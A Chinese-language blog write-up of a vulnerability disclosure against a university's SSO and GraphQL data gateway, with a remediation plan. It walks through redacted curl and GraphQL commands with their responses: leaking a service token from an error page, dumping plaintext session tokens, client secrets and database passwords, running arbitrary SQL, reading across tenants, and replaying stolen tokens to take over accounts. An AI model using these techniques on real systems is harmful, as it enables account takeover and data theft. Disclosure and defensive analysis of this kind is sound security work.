从一条报错到全校会话库:某高校 SSO + GraphQL 数据网关的完整攻击链

4222 字
21 分钟
从一条报错到全校会话库:某高校 SSO + GraphQL 数据网关的完整攻击链

一、先说结论#

目标是一套典型的”高校信息化中台”:前面是 OAuth2 统一认证(SSO),后面挂着一个 GraphQL 聚合网关(按模块分路由:builtin/iam/iga/hub/infoplus…),再往后是 MySQL 与 Oracle 两个业务库。

它的攻击链闭合得非常”标准”,几乎每一步都是教科书上的经典缺陷,但组合起来能一路打穿:

① 未授权入口(GraphQL 控制台 + 聚合网关)
↓
② 空 token 触发 500,把内部服务令牌原样回显
↓
③ 用该令牌读业务数据 → 25 万 PII / 31 个应用明文密钥 / 数据库明文口令
↓
④ 用泄露的 client_secret 走 client_credentials 自行铸令牌
↓
⑤ 读全量 OAuth2 会话令牌存储(约 35 万条明文 token)
↓
⑥ 三条后果线:
· dataBySql → 任意 SQL 执行(MySQL + Oracle 双通)
· X-Tenant-Id → 跨租户读取
· 重放他人令牌 → 实证账号接管 + refresh 持久化

也就是说服务端把内部凭证写进了错误信息是整个漏洞的起点。


二、目标画像#

组件路径作用
数据网关/bus/graphql/{builtin,iam,iga,catalog,hub,infoplus}统一 GraphQL 聚合层,按业务模块分路由
SSO/sso/oauth2/{token,introspect,userinfo,authorize}OAuth2 授权服务器
应用中心/appcenter/graphql应用管理前端,内嵌 window.__env
文件服务/FileAPI2/v1/*文件微服务(v2)
办事大厅/taskcenter/*、/infoplus/*表单 / 待办
控制台/console/内嵌 GraphiQL 调试界面
版本/bus/version直接返回构建时间戳

两个设计层面的根因,读完后面所有漏洞会发现它们反复出现:

  1. 租户上下文完全由请求头 X-Tenant-Id 决定,与访问令牌没有绑定关系。
  2. 模块级鉴权只看 scope 字符串,不做对象级授权。一个 data 作用域到手,等于拿到 iam/hub/builtin 多个模块的聚合实体读取权。

三、第一把钥匙:500 页面里的服务令牌#

3.1 现象#

两个不同的 GraphQL 入口,在 access_token 为空时,把自己调用 SSO introspect 的内部请求参数原样塞进了错误响应:

Terminal window
curl -sk -X POST 'https://xxx.edu.cn/appcenter/graphql?access_token=' \
-H 'Content-Type: application/json' -d '{"query":"{__typename}"}'

返回的不是”参数缺失”,而是:

{"code":500,
"message":"内省 token url:https://xxx.edu.cn/sso/oauth2/introspect
参数:{access_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx, token=} 发生错误:{...}"}

那个被回显的 access_token 是应用中心自己的服务令牌,不是攻击者的。

3.2 顺手把它验明正身#

SSO 的 introspect 端点本身也允许匿名调用(这是第二个问题),于是可以直接问它”你是谁、能干什么”:

Terminal window
curl -sk -X POST 'https://xxx.edu.cn/sso/oauth2/introspect' \
-d 'access_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
{"aud":"<CLIENT_ID_APPCENTER>","scope":"data introspect storage","active":true,"exp":1792135687}

scope 里那个 data 是致命的——它意味着这个令牌能读写聚合层的业务实体,而不只是”读 Schema”。

3.3 为什么这条值得单列#

同一个产品里,三个入口的表现完全不同:

  • /FileAPI2/* 空 token → 回显 scope 仅 introspect 的服务令牌(危害有限)
  • /appcenter/graphql 空 token → 回显 scope 含 data storage 的服务令牌(危害极大)
  • /bus/graphql/* 空 token → 老老实实返回 access_token required,不泄露任何凭证

也就是说,这不是框架的通病,是实现层某几处 try-catch 写错了。这类缺陷特别适合自查:全局搜一遍 catch (e) { return e.getMessage() },把所有把上游 URL + 参数拼进错误体的地方挑出来。


四、拿到 data 作用域之后:三个抽屉全开了#

用上面那把令牌 + 请求头 X-Tenant-Id: <TENANT>,一次就能翻出三样东西。

4.1 全校师生 PII#

Terminal window
curl -sk -X POST 'https://xxx.edu.cn/bus/graphql/builtin?access_token=<SERVICE_TOKEN>' \
-H 'X-Tenant-Id: <TENANT>' -H 'Content-Type: application/json' \
-d '{"query":"{users(first:3){totalCount edges{node{account name phone}}}}"}'
{"users":{"totalCount":252xxx,"edges":[{"node":{"account":"...","name":"<姓名>","phone":"<手机号>"}}]}}

users 直接返回姓名 + 手机号 + 账号(学号/工号)+ 邮箱 + openid,无任何字段级脱敏。

4.2 31 个 OAuth2 应用的明文 client_secret#

Terminal window
... -d '{"query":"{oauthApps(first:1){edges{node{clientId clientSecret appName}}}}"}'
{"clientId":"<CLIENT_ID_A>","clientSecret":"<CLIENT_SECRET_A>","appName":"<应用名>"}

4.3 数据库明文口令#

Terminal window
curl -sk -X POST 'https://xxx.edu.cn/bus/graphql/hub?access_token=<SERVICE_TOKEN>' \
-H 'X-Tenant-Id: <TENANT>' -H 'Content-Type: application/json' \
-d '{"query":"{dataSources(first:1){edges{node{datasourceUrl datasourceUserName datasourcePassword}}}}"}'
{"datasourceUrl":"jdbc:mysql://10.x.x.x:3306","datasourceUserName":"root","datasourcePassword":"<REDACTED>"}

四组数据源,MySQL 用的是 root,Oracle 也是应用账号 + 明文口令。dataSources 这个字段在设计上就不应该对任何非运维身份开放——它是”连接串 + 凭据”的集合体。

到这里,危害已经超出”信息泄露”范畴:泄露的应用密钥可以自我续期,泄露的数据库口令意味着内网横向。但更严重的还在后面。


五、自己铸令牌:client_credentials 对公网完全开放#

/sso/oauth2/token 对 grant_type=client_credentials 没有任何来源限制——没有 IP 白名单、没有 mTLS、没有速率限制。任何拿到 client_id/secret 的人都能换发内部服务令牌:

Terminal window
curl -s -X POST https://xxx.edu.cn/sso/oauth2/token \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode grant_type=client_credentials \
--data-urlencode client_id=<CLIENT_ID_A> \
--data-urlencode client_secret=<CLIENT_SECRET_A>
{"access_token":"<NEW_TOKEN>",
"scope":"client_edit data introspect client acl privilege",
"token_type":"Bearer","expires_in":7200}

注意返回的 scope——这些应用被授予了远超”读数据”的权限:

应用(化名)scope
低代码平台client_edit data introspect client acl privilege
云服务商集成器tenant_edit data introspect bootstrap privilege tenant
预约中心sys_process_edit sys_app sys_submit sys_start privilege
数据备份(dba)bootstrap
应用中心data introspect storage

/bus/graphql/builtin {oauthScopes} 直接把语义写脸上了:client_edit=编辑应用、tenant_edit=编辑租户、account_edit=编辑用户、setting_edit=编辑配置。

而 SSO 管理面(/sso/apis/v3)的 GraphQL Schema 暴露了 47 个 mutation,含 addOauthApp、updateOauthAppSecret、updatePwd、freezeUser、modifyLdapSetting。


六、核心一击:整个 OAuth2 会话库可被匿名读取#

iam 模块下的 accessTokens 聚合查询,对 data 作用域令牌完全开放,没有任何对象级授权:

query accessTokens($offset:Int,$first:Int,$keywords:String,$filter:Filter){
accessTokens(offset:$offset,first:$first,filter:$filter,keywords:$keywords){
totalCount
edges{ node{ token fullName grantType expireTime scope openId name
oauthApp{appName clientId} } }
}
}
{"data":{"accessTokens":{"totalCount":352xxx,"edges":[
{"node":{"token":"<32位明文token>","fullName":"<学生A>",
"grantType":"authorization_code","scope":"openid account",
"oauthApp":{"appName":"infoplus"}}},
{"node":{"token":"<32位明文token>","fullName":"<学生B>", ...}}]}}}

几个必须注意的细节:

  1. token 字段是 32 位十六进制明文,不是哈希、不是掩码,可直接重放。同一查询还返回 refreshToken。
  2. offset 可以任意翻页。totalCount 与 offset=352690 的响应计数一致,说明这是全库实时计数,不是分页缓存——可完整遍历。
  3. 同一个 openId 下有 409 条令牌。因为一人多应用多次登录,泄露面按”应用数 × 登录次数”放大。
  4. 全程没有 Cookie,唯一凭证是 URL 上的 access_token。

同一个令牌还能读:

  • userActivityLogs:约 39.5 万条审计日志(sessionId / ip / deviceId)——用来精确定位”谁在什么时候从哪台设备登录”;
  • iamAcls:ACL 授权表(实测看到 */*/* RWX);
  • users(keywords:"admin"):管理员清单。

这就是”全校 SSO 会话库被拖走”的字面含义:35 万条登录态 + 39 万条审计日志 + 授权表,等于给攻击者配了一份带定位功能的作战地图。


七、dataBySql:GraphQL 里的 SQL 任意执行#

hub 模块把 sql 参数直接交给数据源执行,并把 columns / rows 原样回显,没有语句类型白名单,没有参数化:

{ dataBySql(dataSourceName:"<ds>", sql:"show columns from some_table"){ columns rows } }

我没有用脚本批量跑,而是写了一小段带超时和耗时打印的封装(现场调 SQL 时最怕”看起来卡死”):

Terminal window
TOKEN="<SERVICE_TOKEN>"; TENANT="<TENANT>"
URL="https://xxx.edu.cn/bus/graphql/hub?access_token=${TOKEN}"
CURL=(curl -sS --compressed --connect-timeout 10 --max-time 30
-X POST "$URL" -H "X-Tenant-Id: ${TENANT}"
-H 'Content-Type: application/json'
-w '\n--- http=%{http_code} time=%{time_total}s bytes=%{size_download}\n')
# JSON 交给 python 生成,彻底避开 GraphQL 字符串的引号转义问题
q() {
local payload
payload=$(python3 -c 'import json,sys; print(json.dumps({"query": sys.argv[1]}, ensure_ascii=False))' "$1")
"${CURL[@]}" --data-binary "$payload"
}
q '{dataSources(first:10){edges{node{datasourceName datasourceUrl databaseName}}}}'
q '{dataBySql(dataSourceName:"<ds>",sql:"show columns from some_table"){columns rows}}'
q '{dataBySql(dataSourceName:"<ds>",sql:"select 1 as x from some_table"){columns rows}}'
q '{dataBySql(dataSourceName:"<oracle_ds>",sql:"select 1 as x from dual"){columns rows}}'

验证结果分四层,逐层加码:

语句响应证明什么
show columns from <真实表>真实列名:id varchar(36) PRI、message、secret…元数据可读
select 1 as x from <真实表>rows 返回 2 条表内确有数据,可读行数
select 1 as x from dual(Oracle 数据源){"X":1}不是 MySQL 特例,是通用执行器
含 information_schema / all_tables 的语句连接被 RST前置 WAF 只拦特定关键字

关键判读:select 1 from <真实表> 返回真实行数,这一条排除了”只能读元数据”的辩解——它是实打实的任意 SELECT 原语。而 WAF 的拦截属于关键字黑名单,show / 别名 / 编码都能绕,防护不可依赖。

另外要注意:GraphQL 层没有任何 SQL 校验,错误信息回显的是数据源原生报错(MySQL 的 You have an error in your SQL syntax 直接出现在 GraphQL error 里)。这也是一种信息泄露。


八、一个请求头就换了一套数据:X-Tenant-Id 越权#

网关的租户上下文完全来自请求头,与令牌所属租户不绑定,也不校验调用方是否属于该租户:

Terminal window
# 同一 URL、同一 token,唯一差异是这个头
curl ... -H 'X-Tenant-Id: <TENANT>' -d '{"query":"{users(first:3){edges{node{account name}}}}"}'
curl ... -H 'X-Tenant-Id: localhost' -d '{"query":"{users(first:20){edges{node{account name}}}}"}'

结果:<TENANT> 返回该校真实师生,localhost 返回另一套用户与应用清单(oauthApps.totalCount 从 31 变成 22),且按 ID 交叉查证确认不是同名不同人。

大小写变体(XXX.EDU.CN)同样生效,说明连规范化校验都没做。

这类问题的正确修法只有一个:租户由令牌内的 claim 决定,客户端传来的头只当提示、必须校验成员关系。把它当”路由参数”用,就等于把租户隔离交给客户端。


九、从”元数据泄露”到”实证账号接管”#

这是整条链最后、也最能说明危害的一段。思路很朴素:既然令牌库里有 35 万条明文 token,那就挑活的、能用的,验证一下”到底能不能用”。

筛选条件是 grantType=authorization_code 且 scope 含 data 且未过期。然后:

a) 以他人身份读 PII

Terminal window
curl -sS 'https://xxx.edu.cn/infoplus/oauth2/userinfo?access_token=<STOLEN_TOKEN>' \
-H 'X-Tenant-Id: <TENANT>'

返回该用户的邮箱、手机号、工号——实证接管,不是”理论上可以”。

b) 以他人身份读业务数据

用同一令牌读 tasks(todo),返回 31,686 字节的真实待办清单(146 条,含环节名、formId、指派人)。这一条的说服力比 PII 更强:它证明攻击者能看到业务流状态,而”看到”在办事大厅里往往等于”能操作”。

c) 确认管理员身份

introspect 返回 active:true、userType=01、scope 含 process_edit task_edit data;再用 /sso/oauth2/userinfo 交叉验证,两个端点给出的身份一致。

d) 用 refresh_token 续命

Terminal window
curl -sS -X POST 'https://xxx.edu.cn/sso/oauth2/token' \
-d 'grant_type=refresh_token&refresh_token=<STOLEN_REFRESH>&client_id=<CID>&client_secret=<CSECRET>'
{"expires_in":2592000, ...}

30 天,而且 access_token 和 refresh_token 都不轮换。续签后再 introspect,exp 从原值跳到”续签时刻 + 30 天”。这意味着:只要受害者不改密码,攻击者可以无限续期。

9.1 但我没有把它写成”为所欲为”#

报告里我专门列了边界,这部分比漏洞本身更重要:

  1. 不能横向复用:这个令牌丢到 CAS serviceValidate 是 INVALID_REQUEST,对 authserver / 办事大厅其他子系统无效。
  2. 通用业务字段仍需 data 作用域:普通用户令牌(scope="openid account")读 /bus/graphql 的通用字段会被拒。身份冒用(me / userinfo)对全部令牌成立,但数据读取不成立。
  3. 续签产出是窄作用域:拿到的是 openid account,宽 ACL 的 console / datacenter 令牌本身不带 refreshToken。
  4. “30 天持久化”指的是身份令牌的滑动窗口,不等于 30 天全权限。

写 SRC 报告最容易翻车的地方就是这里——把”scope 里有 updatePwd”说成”我能改所有人密码”。scope 是声明,不是证据。 我没有对任何真实账号执行过写操作。

9.2 排误报:我专门找了一堆”失败的样本”#

一条好的证据链,必须包含负样本——证明这个 API 确实在鉴权,而不是”任何请求都返回固定数据”:

现象排除了什么
{userPreference{__typename}} → PERMISSION_DENIEDAPI 确有 ACL,不是全开放(否则前面所有”成功”都可能是假的)
缺变量 → DataFetchingException不是静态伪造数据
refresh 缺 client 凭证 → invalid_request续签确实需要应用凭证
refresh 用错 client 的 secret → invalid_clientrefresh_token 绑定签发 client
accessTokens 只取 id/grantType/scope(不含 token)也能证明可读即使零 PII 也可复现,便于审核方核验

十、经验#

10.1 GraphQL 聚合网关的测试顺序#

这次能一路打穿,很大程度靠的是固定顺序,而不是灵感:

  1. __schema 全量拉取:先拿到 Query/Mutation 的所有字段和自定义类型(AccessToken、User、OauthApp、CasSetting、LdapSetting…)。类型名就是业务地图。
  2. 按类型反查字段:看到 OauthApp 就去查有没有 clientSecret;看到 AccessToken 就去查有没有 token/refreshToken。设计者往往只想着”给管理员用”,忘了”谁能调到这个字段”。
  3. 空/错 token 探错误路径:先打空 token、畸形 token、过期 token,看错误信息里漏了什么。这是本次的起点。
  4. 请求头当输入:X-Tenant-Id、X-User-Id、X-Real-IP、X-Forwarded-*,逐个改。
  5. 批量/分页参数:first/offset/limit 能不能拉到全量?totalCount 是不是全库实时值?
  6. introspect 是万能验证器:任何拿到的 token,先用它问”还活着吗、什么 scope、属于谁”。它同时也是信息泄露点(能查任意 token 的身份)。

10.2 只读验证的红线#

这次全程刻意守住的四条:

  • 只做 query / introspect / userinfo / token 签发,不碰 mutation;
  • SQL 只到 show columns 和 select 1 from <表>,不 dump 行数据;
  • users 查询一律加 first:3,不批量导出 PII;
  • 拿到 35 万令牌只看 totalCount 与首尾几条,不落盘、不遍历。

报告里”能做什么”和”做了什么”必须分开写。审核方要的是可复现的最小证明,不是”你看我多能打”。

10.3 流量取证:让每条结论都能被核验#

测试环境把所有请求经 MITM 代理落库,每条记录带一个 <unix秒>-<自增序号> 的 ID——ID 本身就带时间,可以反推时序。这让报告里的每条结论都能对回原始报文,也让我能区分”当时截的图”和”4 小时后复验的结果”。

有个细节值得记一笔:4 小时后我重新换发了一个服务令牌并重读令牌库,totalCount 从 35.3 万涨到 35.3 万 +237。这个增量本身就是证据——证明数据是活的、计数是实时的,而不是某个快照或缓存。


十一、如何防御#

P0(当天)

  1. 轮换一切已泄露的凭证:全部 client_secret、数据库口令、在库服务令牌;吊销全部 OAuth2 会话令牌并强制重登。
  2. 下线 dataBySql,或改为预编译命名查询(参数化模板 + 绑定变量),禁止拼接。
  3. 统一错误响应:500 只返回 {"code":500,"message":"internal error","traceId":"..."}。在网关/WAF 层加正则,阻断响应体中的 access_token= / client_secret= / password=。

P1(24 小时)

  1. accessTokens 字段级脱敏(去掉 token/refreshToken)+ 对象级授权:data 作用域不得读令牌库与审计日志。
  2. client_credentials 仅限内网/固定 IP + mTLS;公网只保留 authorization_code + PKCE。按最小权限重配 scope,服务令牌不该带 *_edit / privilege / bootstrap。
  3. oauthApps.clientSecret 只在创建时返回一次,之后只存哈希/掩码;数据源口令进 KMS/Vault,禁止明文落库。

P2(一周)

  1. 租户由令牌 claim 决定,忽略 X-Tenant-Id;对租户标识做严格规范化 + 白名单。
  2. 用户令牌 TTL 从 30 天降到小时级;refresh_token 强制 one-time rotation + 重放检测;续签绑定设备指纹/IP 段。
  3. 数据源账号降为只读并按表授权;网关层做 SQL AST 校验(只允许单条 SELECT)。
  4. /console/ 鉴权、关掉生产环境的 GraphiQL;CORS 白名单。

验证修复的方法:把本文每条 PoC 重跑一遍,确认返回 401/403 或空数据;再确认历史令牌全部失效。


总结#

第一,“小漏洞”和”大事故”之间只差几步。 一个 500 页面的信息泄露,静态扫描大概率只给个 low/medium。但它是整条链的入口——修掉它,后面全部不成立。所以做防御时,信息泄露应按”它泄露了什么权限的凭证”分级,而不是按”它是不是 500”分级。

第二,聚合层是越权的重灾区。 GraphQL 网关把十几个微服务的数据拼在一起,字段一大堆,鉴权很容易退化成”看 scope 字符串”。设计时要想清楚:这个字段谁能调到,而不只是谁能看到。clientSecret、token、datasourcePassword 这三个字段,本质上是”凭证”,不是”数据”,它们不该出现在任何响应里。

第三,报告的价值在于边界,不在于夸张。 我在报告里花了整整一节写”这个漏洞做不到什么”:令牌不能横向复用、普通用户令牌受 scope 限制、30 天不等于全权限、写操作只是推断未验证。这些”不”字,反而让前面那些”能”更可信。


附录:脱敏后的端点索引(自查用)#

端点本次发现的问题
POST /appcenter/graphql?access_token=空 token → 回显 data 作用域服务令牌
POST /FileAPI2/v1/file/list?access_token=空 token → 回显 introspect 作用域服务令牌
POST /sso/oauth2/introspect匿名可调用,可查任意 token 的 scope/身份
POST /sso/oauth2/tokenclient_credentials 无来源限制;refresh 不轮换
POST /bus/graphql/builtinusers 无脱敏、oauthApps.clientSecret 明文
POST /bus/graphql/hubdataSources 明文口令、dataBySql 任意 SQL
POST /bus/graphql/iamaccessTokens / userActivityLogs / iamAcls 开放
任意 /bus/graphql/*X-Tenant-Id 客户端可控,跨租户读取

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

随机文章 随机推荐
Profile Image of the Author
LYH
LYH,安全方向的在校学生。方向集中在 Web 安全和密码学——Web 这边从 webshell 识别、文件包含到注入类题目都在练,密码学在啃 RSA 和格密码相关的内容,逆向和网络也有涉猎。日常工具链是 Mac + Docker。欢迎交流学习!
公告
欢迎来到我的博客!这里展示我的学习过程与结果。
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
站点统计
文章
52
分类
20
标签
32
总字数
311,598
运行时长
0 天
最后活动
0 天前

文章目录